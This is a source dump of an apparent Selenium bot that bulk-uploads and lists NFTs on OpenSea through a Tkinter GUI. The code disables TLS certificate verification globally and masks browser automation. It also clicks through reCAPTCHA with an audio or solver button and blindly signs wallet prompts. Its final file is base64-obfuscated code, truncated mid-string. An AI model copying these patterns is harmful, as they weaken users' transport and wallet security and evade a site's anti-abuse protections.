539 | duration_value = IntVar()
540 | duration_value.set(value=180)
541 | duration_date = Frame(root, padx=0, pady=1)
542 | duration_date.grid(row=15, column=1, sticky=(N, W, E, S))
543 | tk.Radiobutton(duration_date, text='1 day', variable=duration_value, value=1, anchor="w", command=save_duration, width=6,).grid(row=0, column=1)
544 | tk.Radiobutton(duration_date, text="3 days", variable=duration_value, value=3, anchor="w", command=save_duration, width=6, ).grid(row=0, column=2)
545 | tk.Radiobutton(duration_date, text="7 days", variable=duration_value, value=7, anchor="w", command=save_duration, width=6,).grid(row=0, column=3)
546 | tk.Radiobutton(duration_date, text="30 days", variable=duration_value, value=30, anchor="w", command=save_duration, width=7,).grid(row=0, column=4)
547 | tk.Radiobutton(duration_date, text="90 days", variable=duration_value, value=90, anchor="w",command=save_duration, width=7,).grid(row=0, column=5)
548 | tk.Radiobutton(duration_date, text="180 days", variable=duration_value, value=180, anchor="w", command=save_duration, width=7).grid(row=0, column=6)
549 | duration_date.label = Label(root, text="Duration:", anchor="nw", width=20, height=2 )
550 | duration_date.label.grid(row=15, column=0, padx=12, pady=0)
551 |
552 | isSensitive = tkinter.Checkbutton(root, text='Sensitive Content', var=is_sensitivecontent, width=49, anchor="w")
553 | isSensitive.grid(row=17, column=1)
554 | isCreate = tkinter.Checkbutton(root, text='Complete Listing', var=is_listing, width=49, anchor="w")
555 | isCreate.grid(row=19, column=1)
556 | isPolygon = tkinter.Checkbutton(root, text='Polygon Blockchain', var=is_polygon, width=49, anchor="w")
557 | isPolygon.grid(row=20, column=1)
558 | upload_folder_input_button = tkinter.Button(root, width=50, height=1, text="Add NFTs Upload Folder", command=upload_folder_input)
559 | upload_folder_input_button.grid(row=21, column=1, padx=2)
560 | open_browser = tkinter.Button(root, width=50, height=1, text="Open Chrome Browser", command=open_chrome_profile)
561 | open_browser.grid(row=23, column=1, pady=2)
562 | button_save = tkinter.Button(root, width=50, height=1, text="Save This Form", command=save)
563 | button_save.grid(row=22, column=1, pady=2)
564 | button_start = tkinter.Button(root, width=44, height=2, bg="green", fg="white", text="Start", command=main_program_loop)
565 | button_start['font'] = font.Font(size=10, weight='bold')
566 | button_start.grid(row=25, column=1, pady=2)
567 | footer = tkinter.Button(root, height=3, width=60, text='Do you you want to show support? \n Now you have the chance to buy me a coffee. Thank you.', command=coffeeURL, relief=GROOVE )
568 | footer.grid(row=31, columnspan=2, padx=31, pady=31)
569 |
570 | try:
571 | with open(save_file_path(), "rb") as infile:
572 | new_dict = pickle.load(infile)
573 | global upload_path
574 | Name_change_img_folder_button(new_dict[0])
575 | upload_path = new_dict[0]
576 | except FileNotFoundError:
577 | pass
578 | #####BUTTON ZONE END#######
579 | root.mainloop()
580 |
--------------------------------------------------------------------------------
/Old/upload_captcha.py:
--------------------------------------------------------------------------------
1 | import tkinter
2 | import subprocess
3 | from tkinter import *
4 | from tkinter import filedialog
5 | import tkinter as tk
6 | from tkinter import ttk
7 | from tkinter import messagebox
8 | import tkinter.font as font
9 | from turtle import width
10 | from PIL import ImageTk, Image
11 | import urllib.request
12 | from io import BytesIO
13 | import os
14 | import io
15 | import sys
16 | import pickle
17 | import time
18 | from decimal import *
19 | import webbrowser
20 | # from click import command
21 | from selenium import webdriver
22 | from selenium.webdriver.common.by import By
23 | from selenium.webdriver.support.wait import WebDriverWait
24 | from selenium.webdriver.chrome.options import Options
25 | from selenium.webdriver.chrome.service import Service
26 | from selenium.webdriver.support import expected_conditions as ExpectedConditions
27 | from selenium.common.exceptions import NoSuchElementException
28 | from selenium.webdriver.support.ui import Select
29 | from selenium.webdriver.common.keys import Keys
30 | from datetime import timedelta
31 | import dateutil.relativedelta
32 | from datetime import timedelta, date
33 | import locale
34 | import json
35 | import ssl
36 | import random
37 |
38 |
39 | ssl._create_default_https_context = ssl._create_unverified_context
40 |
41 | #check local date format
42 | locale.setlocale(locale.LC_ALL, '')
43 | lastdate = date(date.today().year, 12, 31)
44 |
45 | root = Tk()
46 | root.geometry('750x750')
47 | root.resizable(False, False)
48 | root.title("NFTs Upload to OpenSea v1.8.9")
49 |
50 | input_save_list = ["NFTs folder :", 0, 0, 0, 0, 0, 0, 0, 0, 0]
51 | main_directory = os.path.join(sys.path[0])
52 |
53 |
54 | def supportURL():
55 | webbrowser.open_new("https://www.infotrex.net/opensea/support.asp?r=app")
56 |
57 | def coffeeURL():
58 | webbrowser.open_new("https://github.com/infotrex/bulk-upload-to-opensea/#thanks")
59 |
60 |
61 | class WebImage:
62 | def __init__(self, url):
63 | with urllib.request.urlopen(url) as u:
64 | raw_data = u.read()
65 | #self.image = tk.PhotoImage(data=base64.encodebytes(raw_data))
66 | image = Image.open(io.BytesIO(raw_data))
67 | self.image = ImageTk.PhotoImage(image)
68 |
69 | def get(self):
70 | return self.image
71 | imageurl = "https://www.infotrex.net/opensea/header.png"
72 | img = WebImage(imageurl).get()
73 | imagelab = tk.Label(root, image=img)
74 | imagelab.grid(row=0, columnspan=2)
75 | imagelab.bind("", lambda e:supportURL())
76 |
77 | is_polygon = BooleanVar()
78 | is_polygon.set(True)
79 |
80 | is_listing = BooleanVar()
81 | is_listing.set(True)
82 |
83 | is_numformat = BooleanVar()
84 | is_numformat.set(False)
85 |
86 | is_sensitivecontent = BooleanVar()
87 | is_sensitivecontent.set(False)
88 |
89 | def save_duration():
90 | duration_value.set(value=duration_value.get())
91 | # print(duration_value.get())
92 |
93 | def open_chrome_profile():
94 | subprocess.Popen(
95 | [
96 | "start",
97 | "chrome",
98 | "--remote-debugging-port=8989",
99 | "--user-data-dir=" + main_directory + "/chrome_profile",
100 | ],
101 | shell=True,
102 | )
103 |
104 |
105 | def save_file_path():
106 | return os.path.join(sys.path[0], "Save_gui.cloud")
107 |
108 |
109 | # ask for directory on clicking button, changes button name.
110 | def upload_folder_input():
111 | global upload_path
112 | upload_path = filedialog.askdirectory()
113 | Name_change_img_folder_button(upload_path)
114 |
115 | def Name_change_img_folder_button(upload_folder_input):
116 | upload_folder_input_button["text"] = upload_folder_input
117 |
118 | def is_numeric(val):
119 | if str(val).isdigit():
120 | return True
121 | elif str(val).replace('.','',1).isdigit():
122 | return True
123 | else:
124 | return False
125 |
126 | def check_exists_by_xpath(driver, xpath):
127 | try:
128 | # driver.find_element_by_xpath(xpath)
129 | driver.find_element(By.XPATH, xpath)
130 | except NoSuchElementException:
131 | return False
132 | return True
133 |
134 | class InputField:
135 | def __init__(self, label, row_io, column_io, pos, master=root):
136 | self.master = master
137 | self.input_field = Entry(self.master, width=60)
138 | self.input_field.grid(ipady=3)
139 | self.input_field.label = Label(master, text=label, anchor="w", width=20, height=1 )
140 | self.input_field.label.grid(row=row_io, column=column_io, padx=12, pady=2)
141 | self.input_field.grid(row=row_io, column=column_io + 1, padx=12, pady=2)
142 |
143 | try:
144 | with open(save_file_path(), "rb") as infile:
145 | new_dict = pickle.load(infile)
146 | self.insert_text(new_dict[pos])
147 | except FileNotFoundError:
148 | pass
149 |
150 | def insert_text(self, text):
151 | self.input_field.delete(0, "end")
152 | self.input_field.insert(0, text)
153 |
154 | def save_inputs(self, pos):
155 | #messagebox.showwarning("showwarning", "Warning")
156 | input_save_list.insert(pos, self.input_field.get())
157 | #print(self.input_field.get())
158 | with open(save_file_path(), "wb") as outfile:
159 | pickle.dump(input_save_list, outfile)
160 |
161 | def validate_inputs(self, maxlen, type, message):
162 |
163 | if type == 0 and (len(self.input_field.get()) == 0 or (self.input_field.get()).isdigit() != True or len(self.input_field.get()) > maxlen):
164 | messagebox.showwarning("showwarning", message)
165 |
166 | elif type == 1 and (len(self.input_field.get()) == 0 or is_numeric(self.input_field.get()) == False or len(self.input_field.get()) >= maxlen):
167 | messagebox.showwarning("showwarning", message)
168 |
169 | elif type == 2 and ( len(self.input_field.get()) == 0 or len(self.input_field.get()) > maxlen):
170 | messagebox.showwarning("showwarning", message)
171 |
172 | else:
173 | return True
174 |
175 |
176 | ###input objects###
177 | collection_link_input = InputField("OpenSea Collection Link:", 2, 0, 1)
178 | start_num_input = InputField("Start Number:", 3, 0, 2)
179 | end_num_input = InputField("End Number:", 4, 0, 3)
180 | price = InputField("Default Price:", 5, 0, 4)
181 | title = InputField("Title:", 6, 0, 5)
182 | description = InputField("Description:", 7, 0, 6)
183 | file_format = InputField("NFT Image Format:", 8, 0, 7)
184 | external_link = InputField("External link:", 9, 0, 8)
185 |
186 |
187 | def save():
188 |
189 | if len(start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) == 0 or (int(end_num_input.input_field.get()) < int(start_num_input.input_field.get())):
190 | #messagebox.showwarning("showwarning", "End number should greater than start number!")
191 | print ("true")
192 | elif len( start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) > 5 :
193 | #messagebox.showwarning("showwarning", "Start / end number range 0 - 99999")
194 | print ("true")
195 | else:
196 | collection_link_input.validate_inputs(200, 2, 'Collection link required')
197 | price.validate_inputs(100, 1, 'Price required')
198 | title.validate_inputs(100, 2, 'title required')
199 | description.validate_inputs(500, 2, 'description required')
200 | file_format.validate_inputs(100, 2, 'file format required - png, jpg, jpeg, gif')
201 | external_link.validate_inputs(300, 3, '')
202 |
203 |
204 | input_save_list.insert(0, upload_path)
205 | collection_link_input.save_inputs(1)
206 | start_num_input.save_inputs(2)
207 | end_num_input.save_inputs(3)
208 | price.save_inputs(4)
209 | title.save_inputs(5)
210 | description.save_inputs(6)
211 | file_format.save_inputs(7)
212 | external_link.save_inputs(8)
213 |
214 |
215 | def main_program_loop():
216 |
217 | if len(end_num_input.input_field.get()) > 5 :
218 | messagebox.showwarning("showwarning", "Start / end number range 0 - 99999")
219 | sys.exit()
220 |
221 | project_path = main_directory
222 | file_path = upload_path
223 | collection_link = collection_link_input.input_field.get()
224 | start_num = int(start_num_input.input_field.get())
225 | end_num = int(end_num_input.input_field.get())
226 | loop_price = float(price.input_field.get())
227 | loop_title = title.input_field.get()
228 | loop_file_format = file_format.input_field.get()
229 | loop_external_link = str(external_link.input_field.get())
230 | loop_description = description.input_field.get()
231 |
232 |
233 |
234 | ##chromeoptions
235 | opt = Options()
236 | opt.add_argument("--disable-blink-features=AutomationControlled")
237 | opt.add_experimental_option("debuggerAddress", "localhost:8989")
238 | driver = webdriver.Chrome(executable_path=project_path + "/chromedriver.exe",options=opt)
239 | # driver = webdriver.Chrome( service=Service(project_path + "/chromedriver.exe"), options=opt )
240 | wait = WebDriverWait(driver, 60)
241 |
242 | ###wait for methods
243 | def wait_css_selector(code):
244 | wait.until(
245 | ExpectedConditions.presence_of_element_located((By.CSS_SELECTOR, code))
246 | )
247 |
248 | def wait_css_selectorTest(code):
249 | wait.until(
250 | ExpectedConditions.elementToBeClickable((By.CSS_SELECTOR, code))
251 | )
252 |
253 | def wait_xpath(code):
254 | wait.until(ExpectedConditions.presence_of_element_located((By.XPATH, code)))
255 |
256 |
257 | def wait_xpath_clickable(code):
258 | wait.until(ExpectedConditions.element_to_be_clickable((By.XPATH, code)))
259 |
260 | def check_exists_by_tagname(tagname):
261 | try:
262 | # driver.find_element_by_tagname(tagname)
263 | driver.find_element(By.TAG_NAME, tagname)
264 | except NoSuchElementException:
265 | return False
266 | return True
267 |
268 | def delay(waiting_time=10):
269 | driver.implicitly_wait(waiting_time)
270 |
271 | sleeptime = random.uniform(1.25, 2.95)
272 |
273 | while end_num >= start_num:
274 | if is_numformat.get():
275 | start_numformat = f"{ start_num:04}"
276 | else:
277 | start_numformat = f"{ start_num:01}"
278 |
279 | print("Start creating NFT " + loop_title + str(start_numformat))
280 | print('number ', start_numformat)
281 | driver.get(collection_link)
282 |
283 |
284 | wait_xpath('//*[@id="media"]')
285 | imageUpload = driver.find_element(By.XPATH, '//*[@id="media"]')
286 | imagePath = os.path.abspath(file_path + "\\images\\" + str(start_numformat) + "." + loop_file_format) # change folder here
287 | imageUpload.send_keys(imagePath)
288 | time.sleep(sleeptime)
289 |
290 | name = driver.find_element(By.XPATH, '//*[@id="name"]')
291 | name.send_keys(loop_title + str(start_numformat)) # +1000 for other folders #change name before "#"
292 | time.sleep(sleeptime)
293 |
294 | ext_link = driver.find_element(By.XPATH, '//*[@id="external_link"]')
295 | ext_link.send_keys(loop_external_link)
296 | time.sleep(sleeptime)
297 |
298 | desc = driver.find_element(By.XPATH, '//*[@id="description"]')
299 | desc.send_keys(loop_description)
300 | time.sleep(sleeptime)
301 |
302 | jsonFile = file_path + "/json/"+ str(start_numformat) + ".json"
303 | if os.path.isfile(jsonFile) and os.access(jsonFile, os.R_OK):
304 |
305 | #print(str(jsonMetaData))
306 | wait_css_selector("button[aria-label='Add properties']")
307 | properties = driver.find_element(By.CSS_SELECTOR, "button[aria-label='Add properties']")
308 | driver.execute_script("arguments[0].click();", properties)
309 | time.sleep(sleeptime)
310 |
311 | # checks if file exists
312 | jsonData = json.loads(open(file_path + "\\json\\"+ str(start_numformat) + ".json").read())
313 |
314 | if "attributes" in jsonData:
315 | jsonMetaData = jsonData['attributes']
316 |
317 | for key in jsonMetaData:
318 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input')
319 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input')
320 | #print(str(key['trait_type']))
321 | #print(str(key['value']))
322 | input1.send_keys(str(key['trait_type']))
323 | input2.send_keys(str(key['value']))
324 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]')
325 | driver.execute_script("arguments[0].click();", addmore_button)
326 | time.sleep(0.95)
327 |
328 | try:
329 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]')
330 | driver.execute_script("arguments[0].click();", save_button)
331 | time.sleep(sleeptime)
332 | except:
333 | driver.find_element(By.XPATH, '//button[text()="Save"]').click()
334 | time.sleep(sleeptime)
335 |
336 | elif "properties" in jsonData:
337 | jsonMetaData = jsonData['properties']
338 |
339 | for key in jsonMetaData:
340 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input')
341 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input')
342 | #print(str(key['type']))
343 | #print(str(key['name']))
344 | input1.send_keys(str(key['type']))
345 | input2.send_keys(str(key['name']))
346 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]')
347 | driver.execute_script("arguments[0].click();", addmore_button)
348 | time.sleep(0.9)
349 |
350 | try:
351 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]')
352 | driver.execute_script("arguments[0].click();", save_button)
353 | time.sleep(sleeptime)
354 | except:
355 | driver.find_element(By.XPATH, '//button[text()="Save"]').click()
356 | time.sleep(sleeptime)
357 |
358 | else:
359 | print("keys not found!")
360 |
361 | if is_sensitivecontent.get():
362 | #Explicit & Sensitive toggle
363 | wait_xpath('//*[@id="explicit-content-toggle"]')
364 | toggle_sensivity = driver.find_element(By.XPATH,'//*[@id="explicit-content-toggle"]')
365 | # toggle_sensivity.location_once_scrolled_into_view
366 | driver.execute_script("return arguments[0].click();", toggle_sensivity)
367 | time.sleep(1.1)
368 |
369 | # Select Polygon blockchain if applicable
370 | wait_xpath('//*[@id="chain"]')
371 | default_blockchain = driver.find_element(By.ID, "chain").get_attribute("value")
372 | print(default_blockchain)
373 |
374 |
375 | if is_polygon.get():
376 | pass
377 |
378 |
379 | create = driver.find_element(By.XPATH, '//*[@id="__next"]/div[1]/main/div/div/section/div[2]/form/div/div[1]/span/button')
380 | driver.execute_script("arguments[0].click();", create)
381 | time.sleep(sleeptime)
382 |
383 | main_page = driver.current_window_handle
384 |
385 | if check_exists_by_xpath(driver, '//h4[text()="Almost done"]'):
386 | wait_xpath('//h4[text()="Almost done"]')
387 | captcha_element = driver.find_element(By.XPATH,'//h4[text()="Almost done"]')
388 |
389 | if check_exists_by_tagname('iframe'):
390 |
391 | iframes = driver.find_elements(By.TAG_NAME, "iframe")
392 | driver.switch_to.frame(iframes[0])
393 |
394 | try:
395 | checkbox_button = WebDriverWait(driver, 10).until(ExpectedConditions.element_to_be_clickable((By.ID ,"recaptcha-anchor")))
396 | checkbox_button.click()
397 | except:
398 | pass
399 |
400 | driver.switch_to.default_content()
401 | # driver.switch_to.frame(iframes[-1])
402 |
403 | # click on audio challenge
404 | WebDriverWait(driver, 10).until(ExpectedConditions.frame_to_be_available_and_switch_to_it((By.CSS_SELECTOR,"iframe[title='recaptcha challenge expires in two minutes']")))
405 | time.sleep(1)
406 |
407 | try:
408 | # capt_btn = WebDriverWait(driver, 50).until(ExpectedConditions.element_to_be_clickable((By.XPATH ,'//*[@id="recaptcha-audio-button"]')))
409 | wait_xpath('/html/body/div[1]/div/div[3]/div[2]/div[1]/div[1]/div[4]')
410 | capt_btn = driver.find_element(By.XPATH, '/html/body/div[1]/div/div[3]/div[2]/div[1]/div[1]/div[4]')
411 | capt_btn.click()
412 | time.sleep(sleeptime)
413 | except:
414 | # capt_btn = WebDriverWait(driver, 10).until(ExpectedConditions.element_to_be_clickable((By.XPATH ,'//*[@id="solver-button"]')))
415 | capt_btn = driver.find_element_by_xpath("//button[@id='solver-button']")
416 | driver.execute_script("arguments[0].click();", capt_btn)
417 | time.sleep(sleeptime)
418 |
419 | driver.switch_to.default_content()
420 | time.sleep(sleeptime)
421 |
422 | else:
423 | print("captcha not found")
424 | else:
425 | print("no captcha")
426 |
427 | # try:
428 | # delay()
429 | # cross = WebDriverWait(driver, 360).until(ExpectedConditions.presence_of_element_located((By.XPATH, '/html/body/div[6]/div/div/div/div[2]/button/i')))
430 | # cross.click()
431 | # time.sleep(sleeptime)
432 | # except:
433 | # delay()
434 | # cross = WebDriverWait(driver, 360).until(ExpectedConditions.presence_of_element_located((By.XPATH, '/html/body/div[5]/div/div/div/div[2]/button/i')))
435 | # driver.execute_script("arguments[0].click();", cross)
436 | # time.sleep(sleeptime)
437 |
438 | try:
439 | wait_xpath('/html/body/div[6]/div/div/div/div[2]/button/i')
440 | cross = driver.find_element(By.XPATH, '/html/body/div[6]/div/div/div/div[2]/button/i')
441 | cross.click()
442 | time.sleep(sleeptime)
443 | except:
444 | wait_xpath('/html/body/div[5]/div/div/div/div[2]/button/i')
445 | cross = driver.find_element(By.XPATH, '/html/body/div[5]/div/div/div/div[2]/button/i')
446 | driver.execute_script("arguments[0].click();", cross)
447 | time.sleep(2)
448 |
449 |
450 | main_page = driver.current_window_handle
451 |
452 | if is_listing.get():
453 |
454 | wait_xpath('//a[text()="Sell"]')
455 | sell = driver.find_element(By.XPATH, '//a[text()="Sell"]')
456 | driver.execute_script("arguments[0].click();", sell)
457 | time.sleep(2)
458 |
459 | wait_css_selector("input[placeholder='Amount']")
460 | amount = driver.find_element(By.CSS_SELECTOR, "input[placeholder='Amount']")
461 | amount.send_keys(str(loop_price))
462 | time.sleep(sleeptime)
463 |
464 | #duration
465 | duration_date = duration_value.get()
466 |
467 | #if duration_date != 30:
468 | amount.send_keys(Keys.TAB)
469 | time.sleep(sleeptime)
470 |
471 | wait_xpath('//*[@role="dialog"]/div[1]/div[1]/div/input')
472 | select_durationday = driver.find_element(By.XPATH, '//*[@role="dialog"]/div[1]/div[1]/div/input')
473 | select_durationday.click()
474 | if duration_date == 1 :
475 | range_button_location = '//span[normalize-space() = "1 day"]'
476 | if duration_date == 3 :
477 | range_button_location = '//span[normalize-space() = "3 days"]'
478 | if duration_date == 7 :
479 | range_button_location = '//span[normalize-space() = "7 days"]'
480 | if duration_date == 30 :
481 | range_button_location = '//span[normalize-space() = "1 month"]'
482 | if duration_date == 90 :
483 | range_button_location = '//span[normalize-space() = "3 months"]'
484 | if duration_date == 180 :
485 | range_button_location = '//span[normalize-space() = "6 months"]'
486 |
487 | wait.until(ExpectedConditions.presence_of_element_located(
488 | (By.XPATH, range_button_location)))
489 | ethereum_button = driver.find_element(
490 | By.XPATH, range_button_location)
491 | ethereum_button.click()
492 | select_durationday.send_keys(Keys.ENTER)
493 | time.sleep(sleeptime)
494 |
495 | delay()
496 | wait_css_selector("button[type='submit']")
497 | listing = driver.find_element(By.CSS_SELECTOR, "button[type='submit']")
498 | driver.execute_script("arguments[0].click();", listing)
499 | time.sleep(8)
500 |
501 | #if is_polygon.get():
502 | #driver.find_element(By.XPATH, '//button[text()="Sign"]').click()
503 | #time.sleep(sleeptime)
504 |
505 | for handle in driver.window_handles:
506 | if handle != main_page:
507 | login_page = handle
508 | #break
509 |
510 | driver.switch_to.window(login_page)
511 |
512 | if is_polygon.get():
513 | try:
514 | driver.find_element(By.XPATH, "//*[@id='app-content']/div/div[2]/div/div[3]/div[1]").click()
515 | time.sleep(0.7)
516 | except:
517 | wait_xpath("//div[@class='signature-request-message__scroll-button']")
518 | polygonscrollsign = driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']")
519 | driver.execute_script("arguments[0].click();", polygonscrollsign)
520 | time.sleep(0.7)
521 |
522 | try:
523 | wait_xpath('//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]')
524 | driver.find_element(By.XPATH, '//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]').click()
525 | time.sleep(0.7)
526 | except:
527 | wait_xpath('//button[text()="Sign"]')
528 | metasign = driver.find_element(By.XPATH, '//button[text()="Sign"]')
529 | driver.execute_script("arguments[0].click();", metasign)
530 | time.sleep(0.7)
531 | else:
532 | try:
533 | driver.find_element(By.XPATH, "//*[@id='app-content']/div/div[2]/div/div[3]/div[1]").click()
534 | time.sleep(0.7)
535 | except:
536 | wait_xpath("//div[@class='signature-request-message__scroll-button']")
537 | scrollsign = driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']")
538 | driver.execute_script("arguments[0].click();", scrollsign)
539 | time.sleep(0.7)
540 |
541 | try:
542 | wait_xpath('//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]')
543 | driver.find_element(By.XPATH, '//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]').click()
544 | time.sleep(0.7)
545 | except:
546 | wait_xpath('//button[text()="Sign"]')
547 | metasign = driver.find_element(By.XPATH, '//button[text()="Sign"]')
548 | driver.execute_script("arguments[0].click();", metasign)
549 | time.sleep(0.7)
550 |
551 |
552 | #change control to main page
553 | driver.switch_to.window(main_page)
554 | time.sleep(sleeptime)
555 |
556 | start_num = start_num + 1
557 | print('NFT creation completed!')
558 | time.sleep(sleeptime)
559 |
560 | driver.get("https://www.opensea.io")
561 |
562 |
563 |
564 | duration_value = IntVar()
565 | duration_value.set(value=180)
566 | duration_date = Frame(root, padx=0, pady=1)
567 | duration_date.grid(row=15, column=1, sticky=(N, W, E, S))
568 | tk.Radiobutton(duration_date, text='1 day', variable=duration_value, value=1, anchor="w", command=save_duration, width=6,).grid(row=0, column=1)
569 | tk.Radiobutton(duration_date, text="3 days", variable=duration_value, value=3, anchor="w", command=save_duration, width=6, ).grid(row=0, column=2)
570 | tk.Radiobutton(duration_date, text="7 days", variable=duration_value, value=7, anchor="w", command=save_duration, width=6,).grid(row=0, column=3)
571 | tk.Radiobutton(duration_date, text="30 days", variable=duration_value, value=30, anchor="w", command=save_duration, width=7,).grid(row=0, column=4)
572 | tk.Radiobutton(duration_date, text="90 days", variable=duration_value, value=90, anchor="w",command=save_duration, width=7,).grid(row=0, column=5)
573 | tk.Radiobutton(duration_date, text="180 days", variable=duration_value, value=180, anchor="w", command=save_duration, width=7).grid(row=0, column=6)
574 | duration_date.label = Label(root, text="Duration:", anchor="nw", width=20, height=2 )
575 | duration_date.label.grid(row=15, column=0, padx=12, pady=0)
576 |
577 | isSensitive = tkinter.Checkbutton(root, text='Sensitive Content', var=is_sensitivecontent, width=49, anchor="w")
578 | isSensitive.grid(row=17, column=1)
579 | isCreate = tkinter.Checkbutton(root, text='Complete Listing', var=is_listing, width=49, anchor="w")
580 | isCreate.grid(row=19, column=1)
581 | isPolygon = tkinter.Checkbutton(root, text='Polygon Blockchain', var=is_polygon, width=49, anchor="w")
582 | isPolygon.grid(row=20, column=1)
583 | upload_folder_input_button = tkinter.Button(root, width=50, height=1, text="Add NFTs Upload Folder", command=upload_folder_input)
584 | upload_folder_input_button.grid(row=21, column=1, padx=2)
585 | open_browser = tkinter.Button(root, width=50, height=1, text="Open Chrome Browser", command=open_chrome_profile)
586 | open_browser.grid(row=23, column=1, pady=2)
587 | button_save = tkinter.Button(root, width=50, height=1, text="Save This Form", command=save)
588 | button_save.grid(row=22, column=1, pady=2)
589 | button_start = tkinter.Button(root, width=44, height=2, bg="green", fg="white", text="Start", command=main_program_loop)
590 | button_start['font'] = font.Font(size=10, weight='bold')
591 | button_start.grid(row=25, column=1, pady=2)
592 | footer = tkinter.Button(root, height=2, width=60, text='Do you you want to show support? \n Now you have the chance to buy me a coffee. Thank you.', command=coffeeURL, relief=FLAT )
593 | footer.grid(row=31, columnspan=2, padx=31, pady=10)
594 |
595 | try:
596 | with open(save_file_path(), "rb") as infile:
597 | new_dict = pickle.load(infile)
598 | global upload_path
599 | Name_change_img_folder_button(new_dict[0])
600 | upload_path = new_dict[0]
601 | except FileNotFoundError:
602 | pass
603 | #####BUTTON ZONE END#######
604 | root.mainloop()
605 |
--------------------------------------------------------------------------------
/Old/upload_fixedSSL.py:
--------------------------------------------------------------------------------
1 | # Python code obfuscated by www.development-tools.net
2 |
3 |
4 | import base64, codecs
5 | magic = 'aW1wb3J0IHRraW50ZXIKaW1wb3J0IHN1YnByb2Nlc3MKZnJvbSB0a2ludGVyIGltcG9ydCAqCmZyb20gdGtpbnRlciBpbXBvcnQgZmlsZWRpYWxvZwppbXBvcnQgdGtpbnRlciBhcyB0awpmcm9tIHRraW50ZXIgaW1wb3J0IG1lc3NhZ2Vib3gKaW1wb3J0IHRraW50ZXIuZm9udCBhcyBmb250CmZyb20gUElMIGltcG9ydCBJbWFnZVRrLCBJbWFnZQppbXBvcnQgdXJsbGliLnJlcXVlc3QKZnJvbSBpbyBpbXBvcnQgQnl0ZXNJTwppbXBvcnQgb3MKaW1wb3J0IGlvCmltcG9ydCBzeXMKaW1wb3J0IHBpY2tsZQppbXBvcnQgdGltZQpmcm9tIGRlY2ltYWwgaW1wb3J0ICoKaW1wb3J0IHdlYmJyb3dzZXIKZnJvbSBzZWxlbml1bSBpbXBvcnQgd2ViZHJpdmVyCmZyb20gc2VsZW5pdW0ud2ViZHJpdmVyLmNvbW1vbi5ieSBpbXBvcnQgQnkKZnJvbSBzZWxlbml1bS53ZWJkcml2ZXIuc3VwcG9ydC53YWl0IGltcG9ydCBXZWJEcml2ZXJXYWl0CmZyb20gc2VsZW5pdW0ud2ViZHJpdmVyLmNocm9tZS5vcHRpb25zIGltcG9ydCBPcHRpb25zCmZyb20gc2VsZW5pdW0ud2ViZHJpdmVyLnN1cHBvcnQgaW1wb3J0IGV4cGVjdGVkX2NvbmRpdGlvbnMgYXMgRXhwZWN0ZWRDb25kaXRpb25zCmZyb20gc2VsZW5pdW0ud2ViZHJpdmVyLnN1cHBvcnQudWkgaW1wb3J0IFNlbGVjdAppbXBvcnQganNvbiAKaW1wb3J0IHNzbAppbXBvcnQgY2VydGlmaQoKc3NsLl9jcmVhdGVfZGVmYXVsdF9odHRwc19jb250ZXh0ID0gc3NsLl9jcmVhdGVfdW52ZXJpZmllZF9jb250ZXh0Cgpyb290ID0gVGsoKQoKcm9vdC5nZW9tZXRyeSgnNzUweDc1MCcpCnJvb3QucmVzaXphYmxlKEZhbHNlLCBGYWxzZSkKcm9vdC50aXRsZSgiTkZUcyBVcGxvYWQgdG8gT3BlblNlYSB2MS4wIikKICAKaW5wdXRfc2F2ZV9saXN0ID0gWyJORlRzIGZvbGRlciA6IiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMF0KbWFpbl9kaXJlY3RvcnkgPSBvcy5wYXRoLmpvaW4oc3lzLnBhdGhbMF0pCgoKZGVmIHN1cHBvcnRVUkwoKToKICAgIHdlYmJyb3dzZXIub3Blbl9uZXcoImh0dHBzOi8vd3d3LmluZm90cmV4Lm5ldC9vcGVuc2VhL3N1cHBvcnQuYXNwP3I9YXBwIikKCmRlZiBjb2ZmZWVVUkwoKToKICAgIHdlYmJyb3dzZXIub3Blbl9uZXcoImh0dHBzOi8vZ2l0aHViLmNvbS9pbmZvdHJleC9idWxrLXVwbG9hZC10by1vcGVuc2VhLyN0aGFua3MiKQoKY2xhc3MgV2ViSW1hZ2U6CiAgICBkZWYgX19pbml0X18oc2VsZiwgdXJsKToKICAgICAgICB3aXRoIHVybGxpYi5yZXF1ZXN0LnVybG9wZW4odXJsKSBhcyB1OgogICAgICAgICAgICByYXdfZGF0YSA9IHUucmVhZCgpCiAgICAgICAgI3NlbGYuaW1hZ2UgPSB0ay5QaG90b0ltYWdlKGRhdGE9YmFzZTY0LmVuY29kZWJ5dGVzKHJhd19kYXRhKSkKICAgICAgICBpbWFnZSA9IEltYWdlLm9wZW4oaW8uQnl0ZXNJTyhyYXdfZGF0YSkpCiAgICAgICAgc2VsZi5pbWFnZSA9IEltYWdlVGsuUGhvdG9JbWFnZShpbWFnZSkKCiAgICBkZWYgZ2V0KHNlbGYpOgogICAgICAgIHJldHVybiBzZWxmLmltYWdlCmltYWdldXJsID0gImh0dHBzOi8vd3d3LmluZm90cmV4Lm5ldC9vcGVuc2VhL2hlYWRlci5wbmciCmltZyA9IFdlYkltYWdlKGltYWdldXJsKS5nZXQoKQppbWFnZWxhYiA9IHRrLkxhYmVsKHJvb3QsIGltYWdlPWltZykKaW1hZ2VsYWIuZ3JpZChyb3c9MCwgY29sdW1uc3Bhbj0yKQppbWFnZWxhYi5iaW5kKCI8QnV0dG9uLTE+IiwgbGFtYmRhIGU6c3VwcG9ydFVSTCgpKQoKaXNfcG9seWdvbiA9IEJvb2x